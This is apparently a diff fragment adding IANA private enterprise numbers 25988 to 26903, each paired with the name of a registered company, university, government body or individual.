+25988 AKH Wien
+25989 Automata Software Inc.
+25990 Security Compliance Corp
+25991 MasarLabs.com
+25992 ACEFHAT , A.I.E.
+25993 Aspalis SAS
+25994 Aspect Capital Ltd
+25995 Network-Unlimited
+25996 ITRI
+25997 Ugly Design, Inc
+25998 Assure Programs Pty Ltd
+25999 Junger Audio-Studiotechnik GmbH
+26000 John Laesch for Congress
+26001 Embedded Ventures LLC
+26002 Youtility Solutions, Inc.
+26003 Adflex Ltd
+26004 CONNECT Software AG
+26005 Hessisches Landeskriminalamt DV-kriminalistische Beratungs- und Auswertungsstelle
+26006 Personal & Informatik AG
+26007 Evert Mouw
+26008 Neosis
+26009 Sebastian Pasch
+26010 Hippogriff LLC
+26011 CEPEL
+26012 Holmboe Consulting
+26013 Kongsberg Seatex AS
+26014 Legando AG
+26015 Multipolar Corporation Tbk, PT
+26016 Rederi AB Transatlantic
+26017 Raiffeisenbank (Bulgaria) EAD
+26018 Westminster College
+26019 nantong vocational college
+26020 DePratti Consulting LLC
+26021 Ligos Corporation
+26022 Kamayo
+26023 Fachschaft MPI, TU München
+26024 subnet - platform for media art and experimental technologies
+26025 Ari Voutilainen
+26026 arm4.org
+26027 OpenDS.org
+26028 MetaSoft
+26029 DuroSystems Ltd.
+26030 Zobel Software GmbH
+26031 b-tree GmbH
+26032 XINU technologies GmbH
+26033 On The Network Co.,Ltd
+26034 Adobe Animal Hospital
+26035 Alinto SA
+26036 Demoniak Network
+26037 Dengler Engineering GmbH
+26038 Cecom S.A.
+26039 CESR
+26040 T PARTY
+26041 Optical Internetworking Forum (OIF)
+26042 Music for Life Institute
+26043 LaSer Loyalty
+26044 Telemacro Informacoes e Servicos Ltda.
+26045 Wright Patman Congressional Federal Credit Union
+26046 interActive Systems GmbH
+26047 Fritzinger IT-Consult
+26048 Mo-Sys Engineering Ltd
+26049 Open WWWorks
+26050 Ecole Centrale de Marseille
+26051 Retep Software
+26052 HALYS
+26053 Gutjahr GmbH
+26054 ARASOR TECHNOLOGIES PRIVATE LIMITED
+26055 NordicAware AS
+26056 Exxim Computing Corporation
+26057 Alpheus Communications, L.P.
+26058 Codebay Oy
+26059 BTECH, Inc.
+26060 IZT Innovationszentrum Telekommunikationstechnik GmbH
+26061 SMART Embedded Computing, Inc. (formerly 'Artesyn Embedded Technologies')
+26062 MZL Software Development
+26063 Ankhnet Informations Pvt. Ltd.
+26064 Braga Moro S.p.A.
+26065 GECO, Inc.
+26066 MultiService Forum
+26067 Kyland
+26068 Shaanxi Key Laboratory of Satellite-Terrestrial Network Tech.R&D
+26069 IPG Sales Pty Ltd
+26070 neutralities.net
+26071 Marcin Raciborski
+26072 Beijing Huisen Networks technology Inc
+26073 VEUSTEC SERVICOS DE INFORMATICA LTDA
+26074 TUSC
+26075 x2s Limited
+26076 Metrinomics GmbH
+26077 Espelt.net
+26078 S4Software, Inc.
+26079 Burk Technology
+26080 AR Department of Information Systems
+26081 Lars Kornwinkel
+26082 CERTIRA
+26083 CacheGuard Technologies Ltd. (formerly 'OneTec')
+26084 Enter srl
+26085 Kunstuniversitaet Linz
+26086 PC - ANWENDUNGEN
+26087 Markus Meyer
+26088 Aspera OHG
+26089 Emanuel Haupt
+26090 qiiq communication inc.
+26091 Lafarge S.A.
+26092 ACEB Electronique
+26093 NiBweb
+26094 McGibbon IT-services
+26095 Canopus Co., Ltd.
+26096 Synergy Neworking Ltd
+26097 Linux Training NZ
+26098 King County
+26099 Shanghai Engineering Research Center for Broadband Technologies & Applications(B-STAR) Co., Ltd.
+26100 Cypress Integrated Systems, Inc.
+26101 NUPPEAD - Núcleo de Pesquisa e Projetos em Educação a Distância
+26102 Advance Internet, Inc.
+26103 WOBCOM GmbH
+26104 bellwin information Co.,LTD
+26105 Crummock (Scotland) Ltd
+26106 Sentivision Polska sp. z o. o.
+26107 Cambridge Display Technology Ltd
+26108 HYDRA FUEL CELL CORPORATION
+26109 TPS Pakistan Pvt Ltd.
+26110 PrintMIB, LLC
+26111 Informi GIS A/S
+26112 ISGS
+26113 keuning Information Systems
+26114 AXIOHM
+26115 JSC STC "Rissa"
+26116 Practical Economic Research Limited
+26117 Lux Solis, LLC
+26118 BFSt
+26119 Trafsys
+26120 cweiske.de
+26121 Rishi Valley School
+26122 Zenitel Norway AS
+26123 Ministerie van de Vlaamse Gemeenschap, belfla telematica
+26124 ComX Networks A/S
+26125 Vegacom a.s.
+26126 Makko Solutions, S. A. de C. V.
+26127 Beijing Vorx Telecommunications Co, Ltd.
+26128 CommSeed Corporation
+26129 Logitek Electronic Systems, Inc.
+26130 Montserrat College of Art
+26131 Vendini Tickets
+26132 Aegis Semiconductor, Inc.
+26133 Center for Remote Sensing Ice Sheets, University of Kansas
+26134 Institute for Networked Solutions
+26135 Mount Airey Group, Inc.
+26136 GENOME express
+26137 The University of Texas System
+26138 INTELBRAS S/A
+26139 Samford University
+26140 Reflected Networks, Inc.
+26141 EDI-PRO
+26142 3Way Networks Ltd
+26143 Centre d'Alt Rendiment Esportiu
+26144 IRTE S.p.A.
+26145 Network Systems
+26146 ZAO NPC SPECTRUM
+26147 Trivore Corp.
+26148 Suburban Medical Laboratory, Inc.
+26149 India Mobility Research (IMR)
+26150 FDT Manufacturing, LLC
+26151 Win32Tools
+26152 Helsinki IT Systems Consulting
+26153 HighPoint Technologies, Inc.
+26154 biaix
+26155 Bancolombia S.A
+26156 Quicksilva Ltd.
+26157 Chupa Chups, S.A.
+26158 Bertram Yacht Inc.
+26159 Euro Connect
+26160 VUMS Control Systems, a.s.
+26161 Rocketseed
+26162 TELROS
+26163 AirCUVE Co., Ltd.
+26164 Tri-vision Electronics Inc
+26165 US Airways
+26166 Nebraska Wesleyan University
+26167 Blakemere Technologies Inc.
+26168 Idologic Inc.
+26169 eLynx Ltd.
+26170 Clario Medical Imaging, Inc.
+26171 Parallels Holdings Ltd (formerly 'SWsoft, Inc.')
+26172 Keble College
+26173 monaghen.com
+26174 SignaCert, Inc.
+26175 R&S Medizinsysteme
+26176 AB Computing Ltd
+26177 Black Press Group Ltd.
+26178 LandQuest Services Ltd.
+26179 Connectiva Systems
+26180 Queens Academic Group Ltd
+26181 Cohda Wireless Ltd
+26182 Entelechy Systems
+26183 Northeastern State University
+26184 NSP
+26185 Interalia Inc.
+26186 Yocobox Soluciones Digitales
+26187 Scott Logic Ltd.
+26188 Switch Media
+26189 Qstreams Networks
+26190 Crisp Thinking Ltd
+26191 Jadebird Inc.
+26192 Sony Global Solutions Inc.
+26193 Hangzhou Grancom Information & Technology Co.,Ltd.
+26194 Rasmus Hahn
+26195 Imagic Bildverarbeitung AG
+26196 AVT Audio Video Technolgies GmbH
+26197 HITT GmbH
+26198 Hedmark University College
+26199 KEEPIXO
+26200 Solid Rock IT
+26201 UHU-Linux Kft.
+26202 Snipe Networks
+26203 I.T. Advance Consulting, Inc.
+26204 University of Utah Department of Medical Informatics
+26205 Bright Horizons Family Solutions
+26206 On Site Network Solutions, Inc.
+26207 FT Interactive Data Inc.
+26208 PDL BioPharma, Inc.
+26209 Louisiana Department of Health and Hospitals
+26210 ACM Systems
+26211 Universidade Federal de Minas Gerais
+26212 Harmonic Technology Group, LLC
+26213 Stahlgruber GmbH & Co KG
+26214 Afilias Canada
+26215 Progensys Ltd
+26216 Deck S.r.l.
+26217 Systel SA
+26218 Nova Scotia Cancer Centre
+26219 Enagas S.A.
+26220 Gunter, Winston, & O'Neal Corporation
+26221 BeTV Belgium
+26222 S&S Pamin
+26223 Jakobs Family Enterprises
+26224 MONITORAPP Co.,Ltd.
+26225 Studio DIGITAL ART
+26226 Netcom Systems
+26227 mindjail consulting Ltd.
+26228 Tricipher, Inc.
+26229 Data Management S.p.A.
+26230 Kirusa Inc.
+26231 Punch Telematix
+26232 scimmia.net
+26233 Stephen Thompson Consulting, LLC
+26234 Gate Petroleum Company
+26235 Computer Networks Laboratory at Technical University of Kosice
+26236 Camara de Comercio y Produccion de Santo Domingo
+26237 Elders Limited
+26238 Consortium GARR
+26239 Bank Solidarnost
+26240 Hochschule Darmstadt
+26241 ALLCARE ADMINISTRATORS (PTY) LTD
+26242 Loy & Hutz Aktiengesellschaft
+26243 SIS Schul Internet Service
+26244 Ocilion IPTV Technologies GmbH
+26245 Australia MultiDrive Development (AMD)
+26246 North Seattle Community College
+26247 ServiceTrace e.K.
+26248 die NetzWerkstatt
+26249 Transact Services LLC
+26250 Information and Multimedia Center, Gifu University
+26251 ZZNODE
+26252 Universidad de Sonora
+26253 Iduntec
+26254 PesaPoint Ltd
+26255 Our Lady of the Lake Hospital, INC.
+26256 Fluendo S.A.
+26257 RT-Tech LLC
+26258 Datum International Ltd
+26259 GlobalX Technologies, LLC
+26260 NIBCO INC.
+26261 MAXON CIC Corp.
+26262 NMMN New Media Markets & Networks GmbH
+26263 Douglas School District
+26264 Galeries Lafayette
+26265 Flawed Logic Server Management Software
+26266 LITE-ON TECHNOLOGY CORP.
+26267 Kodiak Networks India Pvt. Ltd
+26268 PositiveArt
+26269 inSORS Integrated Communications, Inc.
+26270 Olivetti S.p.a
+26271 acosta.se
+26272 SALICRU
+26273 Ventia Pty Limited
+26274 Digital Ideas Pty Ltd
+26275 Indigo Stone International Ltd
+26276 Heinrich Nirschl
+26277 Voronezh State University
+26278 Zarafa
+26279 Envision Technology Partners, Inc.
+26280 Adara Networks
+26281 The EA Group
+26282 FYI Corporation
+26283 Christoph Anderegg
+26284 Ochsner Health System
+26285 S. I. Tech, Inc.
+26286 Alfree Systems
+26287 Exelmind Ltd.
+26288 Kavaro Oy
+26289 VIMPLICITY Ltd.
+26290 Exatel S.A.
+26291 The Revolution Group Pty Ltd
+26292 TechSyndicate
+26293 Interaktivo Risinajumu Grupa, SIA
+26294 Endurance International Group
+26295 Cyberlog Ltd
+26296 Resource SiteSeeing Ltda.
+26297 Wireless Broadband Services Pty. Ltd.
+26298 Electionmall Technologies Inc.
+26299 EasternGraphics GmbH
+26300 Genera Oy
+26301 Texas Digital Systems, Inc
+26302 Blonder Tongue Laboratories, Inc.
+26303 CarrierIQ Inc.
+26304 SNMPinfo
+26305 Sykora Technology Inc.
+26306 Opportunity Solutions A/S
+26307 Skyguide - swiss air navigation services ltd.
+26308 Saab TransponderTech AB
+26309 Draksoft Soluzioni Informatiche S.a.s.
+26310 Departamento Municipal de Eletricidade de Poços de Caldas
+26311 Andreas Kinzler
+26312 Genius Company
+26313 Mark Roscrow
+26314 Xcontrol GmbH
+26315 Asian Access Networks Pte Ltd.
+26316 Pacific States Marine Fisheries Commission
+26317 First Choice Health Network
+26318 Condor Networks
+26319 HomeCity Net Ltd.
+26320 Project Team s.r.l.
+26321 Christian Tena
+26322 Tokyo University of Marine Science and Technology
+26323 Informatica Productiva Conocimiento y Tecnologia, S.L.
+26324 Wurm GmbH & Co. KG
+26325 GT London Ltd
+26326 ADTECH AG
+26327 Kassenzahnärztliche Vereinigung Westfalen-Lippe
+26328 Blackfoot Telephone Cooperative, Inc.
+26329 Simpler-Webb, Inc.
+26330 South Shore Hopsital
+26331 Trilink,Inc
+26332 TechnoKad
+26333 Brose Fahrzeugteile
+26334 MEGATRON DATA SERVICES GMBH
+26335 DiViNetworks Ltd. (formerly 'IPortent Ltd.')
+26336 Pawel Kraszewski
+26337 Paper Management Services Ltd.
+26338 IWICS Inc.
+26339 Risk Laboratories, LLC
+26340 SKBrasil
+26341 Madein.hu Bt.
+26342 Fujitsu System Solutions Ltd.
+26343 Grainmustards Co.,Ltd.
+26344 Advanced Institute of Industrial Technology
+26345 PAK ELECTRICAL APPLIANCE CO., LTD
+26346 All-Powerful Dave
+26347 acens technologies S.A.
+26348 Maenken Systems
+26349 Shyam Telecom Ltd.
+26350 Beijing Agree Technology Development Ltd.
+26351 NILES Werkzeugmaschinen GmbH
+26352 Power Systems LLC
+26353 Blue Lake Rancheria
+26354 Software Concepts, Inc.
+26355 Fiplex Communications Inc.
+26356 Vector Technology
+26357 Commonwealth Service Delivery Agency (Centrelink Australia)
+26358 XM Asia Pacific Pte Ltd
+26359 Xpressent, Inc.
+26360 Woodward Ventures
+26361 Solution Innovators, LLC
+26362 Wenzel Elektronik GmbH
+26363 Woodhead
+26364 EID - Empresa de Investigação e Desenvolvimento de Electrónica, S.A
+26365 Critical Links SA
+26366 Amano Cincinnati
+26367 Nondeterministic Information Systems
+26368 Micko Group, Inc.
+26369 Mattig-Schauer Ges.m.b.H
+26370 Bend Cable Communications, LLC
+26371 School of Oriental and African Studies
+26372 Stadig Technologies, LLC
+26373 GRI e.V
+26374 University of Illinois
+26375 Ockan
+26376 Tribunal Regional Eleitoral de Santa Catarina
+26377 ACC Ingenierie et Maintenance
+26378 PrettyBit Software Oy
+26379 I.E.P.A.L.A.
+26380 buaa608
+26381 lwIP - A Lightweight TCP/IP stack
+26382 Sis'ta Salsa, LLC
+26383 Pay By Touch
+26384 GANDI
+26385 BUFETE CONSULTOR DE MEXICO, S.A. DE C.V.
+26386 Koerber Enterprise
+26387 John Cantu
+26388 Profil GmbH
+26389 Factory Mutual Insurance Company
+26390 Woven Systems Inc.
+26391 Kelyan Lab S.p.A.
+26392 NetClarity
+26393 CallCopy, Inc.
+26394 Emaze Networks S.p.A.
+26395 American Telecommunication Inc.
+26396 Rising Edge Development LLC
+26397 Oklahoma State University
+26398 WasaLab Oy
+26399 Emencia SARL
+26400 Bundesnetzagentur
+26401 Alarmtech Polska sp. z o.o.
+26402 ELETRONIQUE PLUS SA
+26403 IMATech2.net
+26404 SupplyScape Corporation
+26405 The MetalFish Consultancy Ltd.
+26406 CyberDefenses, Inc.
+26407 Tiger Communications Plc
+26408 WolfVision GmbH
+26409 ERecruiters Ltd.
+26410 Pakamera
+26411 Vocality International Ltd
+26412 Alexandr Kara
+26413 Golden West Internet Solutions
+26414 Fenri
+26415 J. & W. Seligman & Co. Incorporated
+26416 MetaCarta, Inc.
+26417 Transcepta LLC
+26418 Netsafe Information Technology Ltd.
+26419 transtec AG
+26420 clan informatik AG
+26421 Daughters of Charity Services of New Orleans
+26422 IABG mbH
+26423 Tlantic SI
+26424 syscare.net
+26425 Layered Technologies
+26426 Forget About IT Ltd.
+26427 Kansas Department of Health and Environment - State of Kansas
+26428 Bedford Hospital NHS Trust
+26429 Xinwei Telecom Technology,Inc.
+26430 E Technologies, Inc
+26431 Thai National Grid Center
+26432 Center of Information technologies of Tatarstan Republic
+26433 Calyx Internet
+26434 Touch Sense Inc
+26435 Noam Communications
+26436 HSH Soft- und Hardware Vertriebs GmbH
+26437 Universität zu Köln
+26438 S.V. Paradoks
+26439 SFERIA SA
+26440 BliXem Internet Services B.V.
+26441 Technikon Forschungs- und Planungsgesellschaft mbH (Ltd.)
+26442 PROLIVAL
+26443 Cinetix Srl
+26444 Coroware, Inc
+26445 Special Systems and Software, Inc.
+26446 Ouvi Divulgacao e Marketing em Celulares Ltda.
+26447 Compro Computer Services, Inc
+26448 Variomedia AG
+26449 Okto Tecnologia e Serviços de Informática Ltda.
+26450 Hubbell Inc.
+26451 Esencis
+26452 HiTB
+26453 VJ Systems
+26454 wealink.com limited Inc.
+26455 Secretariat of Information Technology, Government of Haryana
+26456 Budapest University of Technology and Economics (BME)
+26457 Meditec GmbH
+26458 tetrade inc.
+26459 wavesyscom co.,Ltd
+26460 Alcor Communications
+26461 Knorr & Partner Ingenieure
+26462 LANCK Telecom (Express TeleService Corp.)
+26463 Wyless plc
+26464 Dundalk Institute of Technology
+26465 i-together Ltd
+26466 Leissner Data AB
+26467 HANZO S/A
+26468 I.T. Management and Consultation Services (ITMACS)
+26469 AirClic Inc.
+26470 Media Movel Serviços Interativos LTDA
+26471 International Teams
+26472 Nordic Optical Telescope Scientific Association
+26473 Digiplug
+26474 Midwest Connections Inc.
+26475 GTN77
+26476 Advanced Devices S.p.A.
+26477 Uwe Perl
+26478 SI3SI
+26479 Schenck Process Europe GmbH
+26480 infler.de
+26481 Zane C. Bowers
+26482 Rossonet S.r.l.
+26483 JW NetSource, LLC
+26484 Cisco Systems, Inc. (formerly 'Arch Rock Corporation')
+26485 Cryoserver Ltd
+26486 The Stanley Works
+26487 WebSpace-Forum
+26488 Ender Informatics GmbH
+26489 IntelliData Systems Ltd
+26490 Beverli.NET
+26491 Metzler Tech Ltd
+26492 Dongyang Telecom co., LTD
+26493 Urzad Marszalkowski Wojewodztwa Malopolskiego
+26494 CSJGlobal. Inc.
+26495 Scope
+26496 ZipLip, Inc.
+26497 BitBin LLC
+26498 DART Industries Inc
+26499 Memo Serviços Interativos S.A.
+26500 Carl Zeiss AG
+26501 Pari Medical Holding GmbH
+26502 Emerging Information Systems Inc.
+26503 University of Applied Science Osnabrück
+26504 A3IP
+26505 Zenexity
+26506 IT-Ideas
+26507 TJ NET Spa
+26508 Electronic Forge
+26509 Digital Electronics Corporation
+26510 Like Minded People Ltd
+26511 TAC Bilgisayar Hizmetleri Ic ve Dis Ticaret A.S.
+26512 GEEK Bilgisayar Muhendislik ve Sanayi LTD STI
+26513 Hellenic Academic and Research Institutions CertificationAuthority
+26514 Suntel Communications
+26515 Tepe Teknoloji
+26516 Innovation Designs Ltd.
+26517 BESECURE
+26518 MEG Elektronik Ltd.
+26519 GEEK Bilgi Teknolojileri LTD STI
+26520 Pierbridge Limited
+26521 Pannasoft Technologies
+26522 MDG InfoSec
+26523 American Qualified Plans, Inc.
+26524 lyman & associates
+26525 Golden Dynamic Enterprises Ltd.
+26526 eTouch Systems Corp
+26527 Ircona
+26528 Kirche fur Oberberg e.V.
+26529 CNRST
+26530 Telemetry BTT
+26531 Kodak Imaging Network, Inc
+26532 eB Technologies (M) Sdn. Bhd.
+26533 Nurun inc.
+26534 think project! International (formerly 'AEC/communications GmbH')
+26535 OMNEX Control Systems ULC
+26536 Ringland Consulting LLC
+26537 Riorey Inc.
+26538 Duaxes Corporation
+26539 Ionoscape Associates
+26540 cudeso.be
+26541 matrix technology AG
+26542 JHC Plc
+26543 Blade Network Technologies, Inc.
+26544 AVTOVAZ JSC
+26545 SalesForce Australia (Salmat)
+26546 CP Secure Inc
+26547 Nord Data A/S
+26548 Prévoir Vie Portugal
+26549 Amper
+26550 BluePex do Brasil Tecnologia da Informação Ltda - ME
+26551 Gordon Kapes, Inc.
+26552 Congreso de los Diputados
+26553 CTI Networks, Inc.
+26554 ThingMagic, Inc.
+26555 NTT IT Co., Ltd.
+26556 Ethernet Direct Corporation
+26557 Stractus
+26558 Associated Network Partners, Inc.
+26559 nyukid networks
+26560 Jünger Audio-Studiotechnik GmbH
+26561 Zynetix Ltd
+26562 International Telecommunication Union
+26563 TRIADO
+26564 Emerj Inc
+26565 Studio Technologies, Inc.
+26566 Global Knowledge
+26567 Obsidian Consulting Group Pty. Ltd.
+26568 Mega Solution Inc.
+26569 Idyria SARL
+26570 Cleartone Video Ltd
+26571 DATANIN LTD
+26572 Optimal IdM Software, LLC
+26573 Dawn VME Products
+26574 Dynamics Research Corporation
+26575 KB Toys, Inc.
+26576 Ian Cairns
+26577 Kaufcom GmbH
+26578 Credito Emiliano S.p.A
+26579 J. Craig Venter Institute
+26580 Kaiser Permanente
+26581 Rustenbach.de
+26582 Clerity Solutions, Inc.
+26583 Ativa Soluções Tecnológicas Ltda
+26584 Brooman.com, LLC
+26585 Reactrix Systems, Inc.
+26586 Fremnet
+26587 computer betting company gmbh
+26588 Nexcom Systems
+26589 CT Company Ltd.
+26590 CLAIM GmbH & Co. KG
+26591 Kynetia Networks S.L.
+26592 HUBER+SUHNER Polatis Ltd
+26593 littlemail
+26594 ASOIU departament of NTUU "KPI"
+26595 Connect Tech Inc.
+26596 S-INFORMATION TECHNOLOGY CO., LTD.
+26597 Comerica Bank
+26598 SUMITOMO OSAKA CEMENT CO.,LTD.
+26599 University of Glasgow
+26600 China Xiamen Truetel Telecommunications Technologies Co.,Ltd.
+26601 Dunham-Bush Yantai Co. Ltd.
+26602 Raceme
+26603 GEDIM AG
+26604 IMA GmbH
+26605 PKB Integral
+26606 Vidactive, S.L.
+26607 Isco International
+26608 Wavelength Corporation, Inc.
+26609 Pentair, Inc
+26610 Ultramain Systems Inc.
+26611 Exa Corporation
+26612 Kyoto Sangyo University
+26613 Audiomedia Ltd.
+26614 Government of Republic of Srpska
+26615 Noviforum Ltd., Software & Media
+26616 University Computing Centre - SRCE, University of Zagreb
+26617 Mobitel d.d.
+26618 HighTech Passport, Ltd.
+26619 Private Higher education establishment Autononymous non-commercial organization Regional Finance and Economy Institute
+26620 West University of Timisoara
+26621 Technical University of Cluj-Napoca
+26622 NJERS Communications
+26623 Open Sense Solutions LLC
+26624 that's software Berlin
+26625 Sopris Surfers Inc.
+26626 cativa.net
+26627 VIGOS AG
+26628 BH Telecom dd Sarajevo
+26629 Rumati Computers CC
+26630 PBMS Solucoes Moveis em Informatica Ltda
+26631 Waterman Group plc
+26632 Saunders Properties Pty Ltd
+26633 Embedded Internet Solutions, Inc.
+26634 BigTribe Corporation
+26635 Squid Consulting & Integration
+26636 Dexon Software Inc.
+26637 OMB Sistemas Electrónicos S.A.
+26638 Studio Hamburg Media Consult International GmbH
+26639 The Schneider Family Tree
+26640 InduSoft Inc.
+26641 Yellowbrix
+26642 Schoelzel - IT Consulting
+26643 XL Vision Group
+26644 International Working Group on Taxonomic Databases (TDWG)
+26645 Inventive Designers n.v.
+26646 Institute for Parallel Processing, BAS
+26647 Banco Safra S/A
+26648 Avago Technologies Limited
+26649 Covidien (formerly 'Tyco Healthcare')
+26650 Pandora Media Inc.
+26651 Propus Informatica Ltda
+26652 MELCO HOLDINGS INC.
+26653 Shanghai Sunstar Telecom Co.ltd
+26654 NTT resonant Inc.
+26655 Advantech Co., Ltd
+26656 Allan Associates
+26657 Ouba
+26658 Mikro Network Solutions
+26659 Zero9 srl
+26660 Robot Bt.
+26661 OpenPanel V.O.F.
+26662 Alpha Company
+26663 Solana Networks Inc.
+26664 Centralsoft.org
+26665 FaceToFace Software Ltd
+26666 Assuria Limited
+26667 Epper & Kranz GbR
+26668 SixFamily.Net
+26669 Sirius Corporation plc
+26670 NetEase.com, Inc.
+26671 NetSpring, Inc.
+26672 NANJING ZIJIN-PHOTEL COMMUNICATION EQUIPMENTS CO.,LTD
+26673 Wyndeham Heron Ltd
+26674 Klerx EDV Beratung
+26675 MessageLabs Ltd
+26676 GSF SAS
+26677 Datactics Ltd.
+26678 Canadian Space Agency
+26679 EMCom sp. z o.o.
+26680 General Dynamics United Kingdom Limited
+26681 Phi Theta Kappa International Honor Society
+26682 lohnet.org
+26683 Vinci Consulting Corp
+26684 Comm/net Systems, Inc.
+26685 FOSS MIBs
+26686 Softjury GmbH
+26687 LG Technology Inc.
+26688 Sino-i Technology Ltd.
+26689 CAT Telecom Public Company Limited
+26690 PRETTL Produktions Holding GmbH
+26691 Reichert GmbH
+26692 MOBITEL SA
+26693 AirPoint Co., Ltd.
+26694 Digitals India
+26695 Openlink Financial, Inc.
+26696 Marvell Semiconductor Inc.
+26697 Arces Network, LLC
+26698 Net Project SRL
+26699 Open Switch Software e Consultoria Ltda
+26700 Vulcan Materials Company
+26701 Ocean Rock Corp.
+26702 Wycliffe Bible Translators of Canada Inc
+26703 Pittsburgh Supercomputing Center
+26704 Voice Provider Sweden AB
+26705 Webbertek (Blunicel Consultoria em Informatica Ltda)
+26706 4AM Lunch Inc.
+26707 Delphi Corp.
+26708 Cerbercomm LTD
+26709 LogicIQ Ltd
+26710 Elasis S.C.p.A.
+26711 Crolox B.V.
+26712 Cutter Project Ltd
+26713 Stella Doradus Ltd.
+26714 ERIS4 s.r.l.
+26715 Oberlandesgericht München - IT-Stelle d. Justiz
+26716 Ganesh TEchnologies Ltd
+26717 Stroeer Out-of-Home Media AG
+26718 ELMA Kurtalj d.o.o.
+26719 Baluna GmbH
+26720 Cressida Technology Ltd.
+26721 EAB GmbH Rhein/Main
+26722 S-Telecom (S-Fone)
+26723 KUME electric Co., Ltd.
+26724 e-trees.Japan,Inc.
+26725 Eiraku Electric Co.,Ltd.
+26726 WireCache, Inc.
+26727 Yakshavers Incorporated
+26728 Transparency Software Inc.
+26729 Sagittar Broadband Communication Solutions
+26730 SICS AB
+26731 Software Libre de Venezuela 777, C.A.
+26732 COMNET Computer Netzwerke Gmbh
+26733 RRD S.p.a.
+26734 CMYK Energy Software Limited
+26735 Dipl. Ing. T. Biel
+26736 Oliver Weyhmüller
+26737 Infostream Pty ltd
+26738 BEA International FZE
+26739 Hans Guentner GmbH
+26740 Tein Technology S.A.
+26741 Etin Systems Co.,Ltd.
+26742 Astralogic cc
+26743 Lean, LLC
+26744 National Bankcard Services Inc
+26745 obituariesonline.ca
+26746 HEBUS
+26747 GoRoam Ltd
+26748 Print Fulfillment Services
+26749 SL Power Electronics Corp
+26750 Access Integrated Technologies, Inc.
+26751 Visual Sciences, LLC
+26752 Jamul Engineering
+26753 Mobile Greetings, Inc.
+26754 Asian Institute of Technology
+26755 EyeLine Communications CIS LLC
+26756 MSE Matthies Softwareentwicklung GmbH
+26757 Sibinco LLC
+26758 CECURITY.COM
+26759 SHF Communication Technologies AG
+26760 0x3f8.net
+26761 Eszterhazy Karoly College
+26762 DDinformatica
+26763 Cestel S.A.
+26764 Novnet HB
+26765 Universitaet Bielefeld, Fakultaet fuer Mathematik
+26766 .vantronix secure systems
+26767 Alcatel-Lucent TMC (formerly 'Alcatel SOC')
+26768 Comune di Rimini
+26769 Raytheon Technologies Corporation
+26770 Virtutility Ltd
+26771 Versaterm Inc.
+26772 The Royal Conservatoire
+26773 Linde IT Services
+26774 EFOTEK CO.,LTD.
+26775 B2BITS Corp.
+26776 maintech GmbH
+26777 Declude, Inc.
+26778 Nerdboy Services
+26779 PPW "ARAJ" Sp. z o.o.
+26780 GMx Technologies, Inc
+26781 Greg Cockerham
+26782 TRI-D Systems, Inc.
+26783 Tioga Project
+26784 Acromate, Inc.
+26785 University of Messina
+26786 Siet SD Mladost - Ynet
+26787 Sociedad de Tasación SA
+26788 AbiliSoft Ltd
+26789 Webworks Sverige AB
+26790 Gilbarco Inc.
+26791 Thralling Penguin LLC
+26792 Promptlink Communications, Inc.
+26793 Gawab
+26794 Periodik Labs LLC
+26795 Kemnetix Corporation
+26796 Meitai technology Co.,Ltd
+26797 Asankya Networks, Inc.
+26798 Hippo, spol. s r. o.
+26799 Rotal.com Ltd.
+26800 Jan Welte
+26801 Network Chemistry, Inc
+26802 UNESP-FC
+26803 DITTA DI FEO PASQUALE
+26804 Digital Opportunity Trust
+26805 Krebs Consulting & IT-Services GmbH & Co. KG
+26806 MultiVision Communications
+26807 United States Postal Service
+26808 Visual Acting GmbH
+26809 ENTELIENCE
+26810 SKIDATA AG
+26811 UNLP
+26812 Flexy Enterprise Solutions Ltd.
+26813 Uniwersytet Gdañski
+26814 BVCOM Media Corporation,Ltd.
+26815 Advanced Technologies
+26816 DTM Consultoria S/C LTDA
+26817 IT Professional d.o.o.
+26818 Servicio Nacional de Meteorología e Hidrologia del Perú - SENAMHI
+26819 Economists Incorporated
+26820 MicroPortal.info
+26821 Agent Logic
+26822 Beijing Telestone Technology Co.,Ltd.
+26823 MarzhillStudios
+26824 Conseil Général de Meurthe et Moselle
+26825 netWerkz IT Solutions
+26826 Eon Corporation
+26827 ICT 4 Schools
+26828 Han Internetworks Co., Ltd.
+26829 S4 Technology Pty Ltd
+26830 U.S. Home Systems Inc.
+26831 Community High School District 155
+26832 Jason Petsod
+26833 Barkley Evergreen & Partners
+26834 Travel & Accommodation ApS
+26835 Southernprint Ltd
+26836 INVISTA S.à.r.l
+26837 Masaryk Hospital in Usti nad Labem
+26838 Haystack Professional Services
+26839 Diamedx Inc.
+26840 NETWAYS GmbH
+26841 Soleo Communications, Inc.
+26842 Telio AG
+26843 Aker Kvaerner Subsea Ltd
+26844 Endeavor Information Systems Inc.
+26845 Mark Hooper Ltd
+26846 Salford City Council
+26847 COLLINS TRUCKING LLC
+26848 Deutsche Rentenversicherung Niederbayern-Oberpfalz
+26849 Departamento de Engenharia Informática da Universidade de Coimbra
+26850 VisionOSS Ltd.
+26851 Pénzügyi Szervezetek Ãllami Felügyelete / Hungarian Financial Supervisory Authority
+26852 Consejo General de Colegios Oficiales de Medicos
+26853 Mueller & Kanduth OEG
+26854 Cherokee International Corporation
+26855 CommProve Ltd.
+26856 EXCELSIS Business Technology AG
+26857 Tocaj
+26858 ThemSelves
+26859 Compuquest, Inc.
+26860 6COM s.r.o.
+26861 BM Polyco Ltd
+26862 Idilia Inc.
+26863 CoreBridge
+26864 InSight Health Corp.
+26865 Spirit Linux
+26866 Gigamon Systems LLC
+26867 Infitel Engineering GmbH
+26868 European Bank of development of metallurgy industry
+26869 Skype Technologies S.A.
+26870 ArcheNova Consulting GmbH
+26871 Tidomat AB
+26872 Stainsby
+26873 Aldea Global S.A.
+26874 More-IT EOOD
+26875 University of Technology of Ho Chi Minh City
+26876 ADITEC Inc.
+26877 Civic Computing
+26878 BroadHop Inc
+26879 Nine Systems Corporation
+26880 CPUArchitects, Inc.
+26881 Univesidad Tecnica Particular de Loja
+26882 Child Exploitation and Online Protection Centre
+26883 Lilla Grän Data och Elektronik
+26884 QuickCircuit
+26885 Compu-Share, Inc
+26886 Compact Microwave Indonesia
+26887 Plenware Group Oy
+26888 Caresolve C.V.
+26889 NAV E.P.E.
+26890 Markus Franzke Software Entwicklung
+26891 RCZI FORT
+26892 yyovkov.net
+26893 St.-Willibrord Gymnasium
+26894 Apparatus Inc.
+26895 Crimean Internet Service
+26896 Efore PLC
+26897 Copa Airlines
+26898 Nippon C.A.D. Co.,Ltd.
+26899 University of Zagreb, Faculty of Science
+26900 Andanza Technologies S.A.
+26901 No Wires Allowed Pty. Ltd.
+26902 Xiamen Longtop System Co., Ltd.
+26903 Xytac system technologies
